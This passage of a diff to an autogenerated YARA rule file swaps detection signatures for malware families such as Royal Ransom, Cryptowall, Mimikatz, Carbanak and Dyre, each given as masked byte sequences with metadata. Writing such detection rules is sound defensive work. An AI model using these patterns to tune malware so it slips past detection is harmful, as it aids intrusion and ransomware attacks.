e8???????? c3 68a4020000 b8???????? e8???????? 8bc2 } - $sequence_6 = { 68???????? 6a18 6a18 50 e8???????? e8???????? } - $sequence_7 = { b44b 5a baa5c94fad 90 302c83 2d2171e50b } - $sequence_8 = { 48 7412 e8???????? c70016000000 e8???????? ebb4 c745e440be4300 } - $sequence_9 = { 8965c8 68???????? e8???????? 83ec18 c645fc14 8bcc 68???????? } + $sequence_0 = { 59 ff750c 8b4d08 e8???????? 8b4508 5f } + $sequence_1 = { 6aff ff75fc 56 ff7514 ffd7 8bd8 8d4301 } + $sequence_2 = { 8d4d50 e8???????? ff7570 e8???????? 8d4d50 } + $sequence_3 = { 85ff 7e1a 8b19 ff742410 8d0433 50 e8???????? } + $sequence_4 = { ff15???????? 895df8 3bc3 0f8483000000 } + $sequence_5 = { 53 8d45e8 56 50 e8???????? 6a02 } + $sequence_6 = { 742e 837dfc04 7519 68???????? ff75f8 e8???????? 59 } + $sequence_7 = { 8d4ddc e8???????? 85c0 754b 8d4df0 e8???????? } + $sequence_8 = { 33c0 40 c3 a810 7404 } + $sequence_9 = { ff15???????? c20400 55 8bec 81ec88000000 8365ec00 53 } condition: - 7 of them and filesize < 6160384 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Darkbit_Auto : FILE +rule MALPEDIA_Win_Fuxsocy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "376307d8-f183-5168-b430-3c79d528468e" + id = "8e4d8f81-20f8-540c-90a5-36985982ab6a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkbit_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuxsocy_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "3345b8391d558255e8d42c00573b9e9bb419b0424b0535da1de4bc7f3c804298" + logic_hash = "dc08d740dcf5db967ba7f125c57f76f52d4f954228326fede3bf43506bd45bbf" score = 75 quality = 75 tags = "FILE" @@ -127413,32 +127350,32 @@ rule MALPEDIA_Win_Darkbit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 488b8c2480050000 48894808 833d????????00 7515 488b8c24b0210000 488908 } - $sequence_1 = { 488d0505c50f00 4889d9 4889fb 4889f7 4c89c6 e8???????? 488b542450 } - $sequence_2 = { eb1a 440fb64c341e 418d1411 8d5293 88543c1e 448844341e 4883c002 } - $sequence_3 = { 4c8d4301 4c39c6 7331 488d05052b1700 4889d9 4889fb 4889f7 } - $sequence_4 = { eb1c 4889c7 488b8c24d0200000 e8???????? 488d3d4f2a2200 e8???????? 6690 } - $sequence_5 = { e8???????? 4889842460100000 48899c2400010000 488b842480000000 48c7c3ffffffff e8???????? 48899c2480140000 } - $sequence_6 = { e8???????? 488d0546a23800 bb26000000 e8???????? 90 4889442408 48895c2410 } - $sequence_7 = { e8???????? 48898424581c0000 48895c2428 488b0d???????? 48898c24980e0000 488d0547db0700 e8???????? } - $sequence_8 = { 488b8c24a8060000 48894808 833d????????00 7514 488b8c24d8220000 488908 488905???????? } - $sequence_9 = { 4d89d3 49c1ea2a 4983fa40 0f83d6060000 4c8d25576e5200 4f8b14d4 418402 } + $sequence_0 = { 8b0d???????? e8???????? 8b4dfc e8???????? 46 3b35???????? 72c4 } + $sequence_1 = { 51 51 51 51 f7d8 51 } + $sequence_2 = { 50 6a01 53 ff15???????? 85c0 756e 395c2414 } + $sequence_3 = { 8b08 ff5108 8b45e4 5f 5e c9 c3 } + $sequence_4 = { ff74241c 8bda 894c2414 ff15???????? 8b7c2418 8be8 8b17 } + $sequence_5 = { 50 8d44241c 50 6a00 6a07 6a00 ff742424 } + $sequence_6 = { 8954240c 85ff 7474 8b4f04 55 8d54240c e8???????? } + $sequence_7 = { 8b45fc 6a5c 5a 66891448 } + $sequence_8 = { 83c102 e8???????? 8b16 8b4e1c 8944d104 ff06 } + $sequence_9 = { 8954241c 8be9 8364241000 8364241800 8364242400 8d442424 50 } condition: - 7 of them and filesize < 11612160 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Royal_Ransom_Auto : FILE +rule MALPEDIA_Win_Cryptowall_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b707ba7e-f795-5786-96ea-1fd46c83e33f" + id = "50af5d84-6bf2-5e21-963e-da71c1d0aa83" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_ransom_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptowall_auto.yar#L1-L108" license_url = "N/A" - logic_hash = "ff950c4f22d55465d57ffb0791253a97dd6631f204494c457bce80921890bdb0" + logic_hash = "44ba25f2c9e3be57522d3914736a7aa98c9dc8885fa529ce3340a46dbf9f3527" score = 75 quality = 75 tags = "FILE" @@ -127452,32 +127389,32 @@ rule MALPEDIA_Win_Royal_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4c8d059b3b1400 ba8f000000 e9???????? 488b4608 8b08 e8???????? } - $sequence_1 = { 803d????????00 754c 488d0d5c220d00 48890d???????? 488d050e1f0d00 488d0d37210d00 488905???????? } - $sequence_2 = { e8???????? 482be0 488bfa 488bd9 4885c9 747e 488d156abf0600 } - $sequence_3 = { 85c0 0f450d???????? 85c9 7411 488d0d31212400 e8???????? 4885c0 } - $sequence_4 = { e8???????? 4c8d0503171400 8d562b 488d0d09171400 e8???????? 4533c0 8d4e10 } - $sequence_5 = { c3 e8???????? 4c8d0553bd1400 ba8f010000 488d0d2fbd1400 e8???????? 4533c0 } - $sequence_6 = { e8???????? 397010 0f84ccfeffff e8???????? 4c8d052eb91400 ba66000000 488d0deab81400 } - $sequence_7 = { 754c e8???????? 4c8d05aeb81600 bae9000000 488d0d8ab81600 e8???????? 4533c0 } - $sequence_8 = { e8???????? 4c8d0533510e00 bac1010000 488d0da7500e00 e8???????? 4533c0 8d4f39 } - $sequence_9 = { c3 49ff80c0000000 488bcb 488b4308 8b10 e8???????? b801000000 } + $sequence_0 = { 50 e8???????? 8b482c ffd1 6a00 } + $sequence_1 = { 83ec08 837d0800 7502 eb4f 6a08 6a00 } + $sequence_2 = { e8???????? 83c408 99 b91a000000 } + $sequence_3 = { 894dfc 837df805 752d 837dfc00 } + $sequence_4 = { 83ec18 56 8b450c 50 } + $sequence_5 = { 99 b91a000000 f7f9 83c261 8b45f4 } + $sequence_6 = { e8???????? 83c408 8b0d???????? 898114010000 } + $sequence_7 = { b861000000 668945ee b963000000 66894df0 } + $sequence_8 = { 52 e8???????? 8b400c ffd0 } + $sequence_9 = { 6880000000 6a00 8d4de8 51 } condition: - 7 of them and filesize < 6235136 + 7 of them and filesize < 417792 } -rule MALPEDIA_Win_Knot_Auto : FILE +rule MALPEDIA_Win_Startpage_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b476922-c990-533b-9ea2-55281d49e06f" + id = "5a6b784b-ec8f-5962-9d64-894cc5561282" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knot_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.startpage_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9a4cc690c1caf46b1d80d5ed99f629971e8f9dd8073d7d2fdb62a67bbf85c7b7" + logic_hash = "21d756dfb49cd7d91a800b8f6049ef1f88714f6007f6f320c1aa4c2e5532acfc" score = 75 quality = 75 tags = "FILE" @@ -127491,32 +127428,32 @@ rule MALPEDIA_Win_Knot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7407 c685f3fdffff00 ebbe 0fb68df3fdffff 83f901 } - $sequence_1 = { ff15???????? 85c0 0f855ffdffff 8b958cf9ffff } - $sequence_2 = { 6a00 6a02 6a00 8b4df8 51 } - $sequence_3 = { 8bec 81ec24020000 e8???????? 8945fc c785ecfdffff02000000 } - $sequence_4 = { 7507 32c0 e9???????? 6a00 6a00 6a00 6a02 } - $sequence_5 = { 8d8dd0fdffff 51 6a08 8d95c8fdffff } - $sequence_6 = { 7454 6a00 6a00 6a00 6a04 8b55f4 52 } - $sequence_7 = { 83c40c 8985e8fdffff 8b8de8fdffff 898ddcfdffff 83bddcfdffff03 7402 } - $sequence_8 = { 6a00 6a00 6800000040 8d95e0fdffff } - $sequence_9 = { e8???????? 8985d0feffff e9???????? 8b8dd4feffff 51 ff15???????? 8be5 } + $sequence_0 = { 6801000080 ff15???????? 8b4dd8 8bf0 83c1f0 e8???????? 85f6 } + $sequence_1 = { 8b4f18 84040a eb57 8b471c 85c0 741b 8b4808 } + $sequence_2 = { 663bc3 75f6 2b8de4deffff d1f9 41 8d344e 8d144a } + $sequence_3 = { 1bc0 2516020780 e9???????? 56 8b36 e8???????? 59 } + $sequence_4 = { 50 8d4e0c e8???????? 33c0 894610 894614 894618 } + $sequence_5 = { 8d7010 89b5e0feffff 8d85e0feffff c645fc0d 50 8d4b1c e8???????? } + $sequence_6 = { 85c0 51 0f45d8 c645fc05 53 8d4db8 e8???????? } + $sequence_7 = { ff15???????? 6a01 ff758c ff15???????? 8b4588 6a15 8b484c } + $sequence_8 = { 7417 56 8b30 50 e8???????? 8bc6 59 } + $sequence_9 = { 5b 8be5 5d c3 ff15???????? 0fb7c8 81c900000780 } condition: - 7 of them and filesize < 59392 + 7 of them and filesize < 2277376 } -rule MALPEDIA_Win_Opachki_Auto : FILE +rule MALPEDIA_Win_Bitsloth_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e10cd0eb-a431-57d1-b7ee-f206637aeb79" + id = "d21005cc-48c4-5c1b-8a1c-480f484a1c06" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.opachki_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsloth" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitsloth_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "9a87a4a85fda49db5f8b260ce2dd4c073885fccbbbb43ca421b7fe7db663b448" + logic_hash = "b507e5914cce1955d65d2d9ef747d0eb1b6c8dbf2ed2455d47603f8c520d8766" score = 75 quality = 75 tags = "FILE" @@ -127530,37 +127467,32 @@ rule MALPEDIA_Win_Opachki_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb69 8b5508 8b4904 53 } - $sequence_1 = { 57 6a0d 68???????? 8d4ddc e8???????? 68ff000000 } - $sequence_2 = { c3 55 8bec 81ec00010000 ff7508 } - $sequence_3 = { ff15???????? 8d8500ffffff 50 ff7508 e8???????? 59 59 } - $sequence_4 = { 034604 50 ff15???????? 8b4708 } - $sequence_5 = { 57 8b7d0c 8a0f 894508 84c9 744d 8a10 } - $sequence_6 = { 894708 c6040800 5b 5f } - $sequence_7 = { 33c0 c706???????? 894608 89460c 894604 e8???????? 8bc6 } - $sequence_8 = { 2b442424 aa 8944241c 61 } - $sequence_9 = { ebc1 3c67 7507 884705 b301 ebb6 } - $sequence_10 = { 00f0 8a0c01 f6c101 0f84b9000000 ac 884708 88c5 } - $sequence_11 = { 31db 99 b125 f3aa } - $sequence_12 = { 83c140 eb0a 3ca0 7206 } - $sequence_13 = { 08db 752b 46 88470c 88c4 c0ec06 } - $sequence_14 = { 08db 7409 80fe06 750b } + $sequence_0 = { 837de800 740e 8b4de8 8b11 8b45e8 50 } + $sequence_1 = { eb44 8b45f4 0345ec 8a48ff 884dfc 8b55f4 0355ec } + $sequence_2 = { 52 e8???????? 83c40c 8b45f8 83e801 8945f8 837df803 } + $sequence_3 = { 034df8 8b5508 898a90af0600 8b4508 81b890af060006010000 7310 8b4d08 } + $sequence_4 = { 8b5104 52 8b01 50 8b4df0 e8???????? c745fc00000000 } + $sequence_5 = { eb1b 68???????? 8b4df8 51 e8???????? 83c408 } + $sequence_6 = { 837df400 751b 6a00 6a00 6812c92300 e8???????? } + $sequence_7 = { 8b4d08 89487c 33c0 8b4dfc 33cd e8???????? 8be5 } + $sequence_8 = { 6a03 ff15???????? 8985f8ecffff 8d95e4ecffff 52 8d859cecffff 50 } + $sequence_9 = { 7515 6a00 6a00 68fa920300 e8???????? 83c40c 33c0 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 677888 } -rule MALPEDIA_Win_Ransomlock_Auto : FILE +rule MALPEDIA_Win_Carbanak_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1d9f68b5-bde6-5cf8-8d3e-ce79b7904787" + id = "aedde496-1e00-538c-b489-6c77c5599b0a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomlock_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carbanak_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "ae6cb71ec68ff479f995cb168a9a85eebf5d8c257dade2208e4eb2660cdda6fe" + logic_hash = "0f833e010e6f92f115d02deffe6d957025aee9eed313be7bf6c5b84cdc07ff91" score = 75 quality = 75 tags = "FILE" @@ -127574,32 +127506,32 @@ rule MALPEDIA_Win_Ransomlock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5120 56 50 ffd2 85c0 } - $sequence_1 = { 51 50 66894802 ff15???????? 53 8d9decfbffff } - $sequence_2 = { 8b5120 56 50 ffd2 85c0 7807 c745ec01000000 } - $sequence_3 = { 83c0ec 52 50 8b01 ffd0 } - $sequence_4 = { 8d45b8 50 ff15???????? 6804010000 68???????? ff15???????? e9???????? } - $sequence_5 = { 53 53 6a01 68???????? ff15???????? 8bf0 85f6 } - $sequence_6 = { 8be5 5d c3 83f801 7408 } - $sequence_7 = { 8b7510 8bce ba???????? e8???????? 85c0 7414 8b5514 } - $sequence_8 = { 8b5104 57 ffd2 5f 5e } - $sequence_9 = { 8d95a0f9ffff 68???????? 52 ffd3 83c414 8dbdb0fdffff 32c0 } + $sequence_0 = { 7c0d e8???????? 84c0 7504 33c0 } + $sequence_1 = { 7907 32c0 e9???????? 7507 } + $sequence_2 = { 85c0 7509 e8???????? b001 } + $sequence_3 = { e9???????? 7507 b001 e9???????? } + $sequence_4 = { e9???????? 3d2c5c0700 750a e8???????? e9???????? } + $sequence_5 = { 488d4dc8 4183c8ff 488bd0 488bd8 e8???????? 488bcb } + $sequence_6 = { 41ffc1 ba23000000 48895c2428 48895c2420 e8???????? } + $sequence_7 = { ff75fc 8ad8 e8???????? 83c414 84db 7511 } + $sequence_8 = { 6aff 68???????? 6a01 8d4dec 51 } + $sequence_9 = { 50 50 ff7510 ff750c 50 ff7508 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 658432 } -rule MALPEDIA_Win_Rifdoor_Auto : FILE +rule MALPEDIA_Win_Jessiecontea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c64cc60e-de43-57ba-a8c5-3da8fe6ea09a" + id = "ed5d981c-49e8-5f40-808b-1f7fc2ae5113" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rifdoor_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jessiecontea_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "4a7031572d6960be3c18bec0c177698078092abb2ffc70b93030291dca57dff4" + logic_hash = "f376a26e7b2528bac10debe17ecc06d45573d24dcd0617a6c31e158d3d59f89a" score = 75 quality = 75 tags = "FILE" @@ -127613,38 +127545,38 @@ rule MALPEDIA_Win_Rifdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7404 3bc3 7508 c744242401000000 8d4c2410 } - $sequence_1 = { 895c2410 8d442410 50 b808000000 b9???????? e8???????? } - $sequence_2 = { 56 bf12000000 e8???????? 83c404 } - $sequence_3 = { c1e006 03048d605d4100 eb05 b8???????? } - $sequence_4 = { 8b4c2408 51 ff15???????? 5f 83c408 c3 } - $sequence_5 = { 6a00 6a12 8d54240c 52 50 } - $sequence_6 = { 85c0 7518 5e 8b8c2404010000 33cc e8???????? 81c408010000 } - $sequence_7 = { 7d0e 885c301c 017e5c 8b465c 3bc1 } - $sequence_8 = { 80bd98feffff00 8d8598feffff 740d 8bc8 } - $sequence_9 = { c1eb10 22d3 8bde 8bc8 } - $sequence_10 = { 03c2 8b9540fbffff 89853cfbffff 52 8d8544fbffff } - $sequence_11 = { 8bec 53 56 8b35???????? 57 3b35???????? 7d4a } - $sequence_12 = { ff15???????? 85c0 0f85cf000000 803d????????00 b8???????? } - $sequence_13 = { 5d c3 6a04 8d45dc 50 6a08 } - $sequence_14 = { 33c0 898540bdffff 898544bdffff 898548bdffff 89854cbdffff 8b8558bdffff } - $sequence_15 = { ff15???????? 8d85e8fbffff 50 8bc8 51 ff15???????? e9???????? } + $sequence_0 = { 8d85a8f9ffff 50 8d85f8fbffff 50 ff15???????? } + $sequence_1 = { 8b7d18 8945c0 8b4510 8945c4 8b451c } + $sequence_2 = { 660fdbe3 660fdfc8 660febe1 3bd6 0f826effffff 660ffee5 0f28c4 } + $sequence_3 = { e8???????? 83c418 c7857cf0ffffffffff7f c78580f0ffffffffff7f b8ea650000 c7858cf0ffff00000000 } + $sequence_4 = { 50 51 8d8df8f7ffff e8???????? 8d85f8f7ffff 6a5c 50 } + $sequence_5 = { 745b 8b35???????? 57 ffd6 3d04010000 7d4b } + $sequence_6 = { 83c404 85f6 7425 8bbd7cf4ffff 68???????? } + $sequence_7 = { 7f0a 8bb5f0b7ffff 3bfe 7293 } + $sequence_8 = { 452be5 488d152b6bfeff 4489642440 0f8574fcffff } + $sequence_9 = { 6603c1 0fb70d???????? 0fb7c0 33c8 66898dde000000 } + $sequence_10 = { 83c008 668945d8 0fb705???????? 83c008 668945da } + $sequence_11 = { 6683c00c 0fb7c8 8b05???????? 33c1 6689459c 8b4580 } + $sequence_12 = { 4889542440 488bfa be01000000 ff15???????? } + $sequence_13 = { 4889442430 488d4e10 4889442428 4c8bcb } + $sequence_14 = { 4533c9 4889742420 4c8d85d0040000 488bcf 488d95e0050000 } + $sequence_15 = { 817c2440949dd460 7489 33c0 4c8ba424880b0000 488b9c24800b0000 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 413696 } -rule MALPEDIA_Win_Flowershop_Auto : FILE +rule MALPEDIA_Win_Dharma_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40619a48-6b17-5bee-8aad-65bf7cac75aa" + id = "e4f9cff7-2b7e-5614-97de-e64666dbaa6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flowershop_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dharma_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "ba2d45fad977755fd044c78f8aeed860d85d236ff95a62d89180f428b8bcb5e7" + logic_hash = "ed48c8d46095165b3771ad3d606dd9e4c3ca951524311f4024cd2a8039cd375d" score = 75 quality = 75 tags = "FILE" @@ -127658,32 +127590,32 @@ rule MALPEDIA_Win_Flowershop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3b45f0 74e0 8945f0 6a08 8d45f0 6a00 50 } - $sequence_1 = { 5e c3 56 33f6 8935???????? e8???????? a1???????? } - $sequence_2 = { ff75e0 e8???????? 83c418 85c0 750e c705????????01000000 33c0 } - $sequence_3 = { 59 85c0 59 741f 8b07 0105???????? } - $sequence_4 = { 51 56 57 33ff 897df8 897dfc c745f898c3fead } - $sequence_5 = { 894d0c 76bb 33c0 5f 5e 5b c9 } - $sequence_6 = { eb71 0fb605???????? 6bc07c 50 8d85f9e0ffff 68???????? 50 } - $sequence_7 = { 33c9 83c60c 81fe???????? 72d8 85c9 0f8471ffffff } - $sequence_8 = { 8b7510 8b7dfc 837e0400 750b 817e0818350000 7502 ff17 } - $sequence_9 = { 2b01 c3 8b442404 8b542408 8b4804 03ca } + $sequence_0 = { 51 8b5510 52 8b450c 50 8b4df0 c1e105 } + $sequence_1 = { c1ea10 81e2ff000000 8b048db8b34000 330495b8b74000 } + $sequence_2 = { 50 e8???????? 83c408 c785c4fdffff01000000 8b8dd4fdffff 51 e8???????? } + $sequence_3 = { 51 8b55fc 52 ff15???????? 8b4df8 89048db8864100 8b55f8 } + $sequence_4 = { 8b4508 8b4d08 8908 c745f801000000 8b5510 c70201000000 8b45f8 } + $sequence_5 = { 51 6a00 8b55ec 52 e8???????? 83c40c 8b45ec } + $sequence_6 = { 8b45fc 50 e8???????? 50 6a00 } + $sequence_7 = { 50 8b4d10 51 8d95e0fdffff 52 e8???????? 83c410 } + $sequence_8 = { 8b4d08 0fb6548121 8b8590feffff 0b9485b8feffff 8b8d90feffff 89948db8feffff } + $sequence_9 = { 68feff0000 e8???????? 83c404 8945ac e8???????? 8945d0 6a02 } condition: - 7 of them and filesize < 829440 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Pcshare_Auto : FILE +rule MALPEDIA_Elf_Hideandseek_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7a2279a4-a61d-58a7-97d7-adf12e2edb7d" + id = "10c8f40f-fa57-553f-afa8-26796ff221f6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pcshare_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.hideandseek_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2997345c16432720db338f1e799076d538b35e40830e87863ce57c0bb0f81979" + logic_hash = "768ba339bd4afb32724f528de613e471a16c477a1e04b8333f9c4f37161d943f" score = 75 quality = 75 tags = "FILE" @@ -127697,32 +127629,32 @@ rule MALPEDIA_Win_Pcshare_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 803c3800 75db 8b16 33c0 8a0c3a 5f 84c9 } - $sequence_1 = { 8db60c2c0610 6a00 50 ff36 e8???????? } - $sequence_2 = { 8b442450 3bc3 7425 33f6 8b0c06 } - $sequence_3 = { 81e20000ffff c7401400000000 0bca 89480c 8b4c2440 8b542438 } - $sequence_4 = { 8b4c242c 85c9 7510 3b5c2430 746b 43 } - $sequence_5 = { 8b01 03f8 8b5640 8b6e24 52 51 8bcc } - $sequence_6 = { 8b5b04 03d8 c60300 8b442428 50 } - $sequence_7 = { 8d0480 8d0c80 8d048a 3d35c83301 0f8cea000000 68???????? } - $sequence_8 = { 8b16 8d441a02 50 55 ff15???????? 85c0 890437 } - $sequence_9 = { 8b4548 8b4c241c 8b1408 8b442420 8b4c020c 8d44020c } + $sequence_0 = { 740d 83ec0c ff36 e8???????? 83c410 56 56 } + $sequence_1 = { e8???????? eb09 83ec0c 56 e8???????? 83c410 f7df } + $sequence_2 = { 89c7 85c0 0f8947040000 e9???????? 83be4c01000018 0f87f7040000 8b864c010000 } + $sequence_3 = { 84d2 7410 8a53ff 8d43ff 3a542403 7404 84d2 } + $sequence_4 = { e8???????? 8b35???????? 83c410 8d78f0 eb45 8b442410 31d2 } + $sequence_5 = { 31f6 8b5c240c 803d????????00 7532 e8???????? 88c2 89c1 } + $sequence_6 = { b801000000 83c410 c684331001000000 c7864c0100000b000000 c7863801000000000000 eb09 b803000000 } + $sequence_7 = { e8???????? c7874801000004000000 58 5a 8d84243a010000 50 8d8710010000 } + $sequence_8 = { c1e806 f7d0 83e001 c3 31c0 c3 8b4c2404 } + $sequence_9 = { 5a 85c0 59 0f8f1dffffff 50 8b442454 } condition: - 7 of them and filesize < 893708 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Mimikatz_Auto : FILE +rule MALPEDIA_Win_Dyre_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aca0d4e4-4192-5121-a9cd-9ca0e401c83a" + id = "71a1cda5-bbc1-5437-8a4b-d424fa7e7598" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimikatz_auto.yar#L1-L209" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyre_auto.yar#L1-L228" license_url = "N/A" - logic_hash = "3624438eda15e47ae98de9ad5feae5e5f01b75b23634de1325ad601ffd44065d" + logic_hash = "af535d590e4b9fb30bcfd8419a9c576a8fa6a184366164dc5fc0ce71c5e82236" score = 75 quality = 73 tags = "FILE" @@ -127736,44 +127668,45 @@ rule MALPEDIA_Win_Mimikatz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f8ff 750e ff15???????? c7002a000000 } - $sequence_1 = { f7f1 85d2 7406 2bca } - $sequence_2 = { 3c02 7207 e8???????? eb10 } - $sequence_3 = { eb84 668b442430 eb1d 834608fe } - $sequence_4 = { 83f812 72f1 33c0 c3 } - $sequence_5 = { e8???????? 83c8ff e9???????? 8d0412 89442438 } - $sequence_6 = { ff15???????? 85c0 0f94c3 85db 7508 } - $sequence_7 = { 6683f83f 7607 32c0 e9???????? } - $sequence_8 = { c3 81f998000000 7410 81f996000000 7408 } - $sequence_9 = { 66894108 33c0 39410c 740b } - $sequence_10 = { ff15???????? bd6f000000 3bc3 7405 } - $sequence_11 = { e8???????? 8bf0 85c0 7433 8b542478 d1ea 7420 } - $sequence_12 = { ff15???????? 3bc7 0f84d4010000 8b542430 } - $sequence_13 = { 2bc1 85c9 7403 83c008 } - $sequence_14 = { 83fb04 7cdc 8b5df8 8ad3 02d2 8ac7 c0e804 } - $sequence_15 = { 83e001 51 894614 c7461ce0164000 c74620f0164000 c7462410174000 } - $sequence_16 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466878d14600 6a0d } - $sequence_17 = { c745fc00000000 ff15???????? 50 e8???????? 8bd8 } - $sequence_18 = { 03c2 c1f802 57 50 33db 33f6 e8???????? } - $sequence_19 = { 6a00 50 e8???????? 83c40c c7450800000000 } - $sequence_20 = { 83f805 7d10 668b4c4310 66890c45b8e14600 40 } - $sequence_21 = { c705????????cf2f4000 8935???????? a3???????? ff15???????? a3???????? 83f8ff } + $sequence_0 = { 6800004000 6800000400 ff15???????? a3???????? 85c0 } + $sequence_1 = { 747c 8d4602 50 e8???????? 8bf8 } + $sequence_2 = { 33c8 894304 895308 894b10 c745ec10000000 837df400 0f84f7000000 } + $sequence_3 = { 59 85c0 740d 8d4801 3b4d14 } + $sequence_4 = { 742e 53 8bc7 e8???????? 8bd8 } + $sequence_5 = { 81ec14010000 8364240400 53 56 57 } + $sequence_6 = { 59 83f8ff 7549 33ff 83f8ff 7542 } + $sequence_7 = { 33d2 f7f3 3bd6 7409 } + $sequence_8 = { 4883ec20 488bd9 b910270000 ff15???????? 488bcb } + $sequence_9 = { 488bcd ff15???????? 488b5c2460 8bc7 4883c440 } + $sequence_10 = { 4883ec20 488b0d???????? 33d2 ff15???????? } + $sequence_11 = { 488b4c2458 488d442450 8d5301 4533c9 4533c0 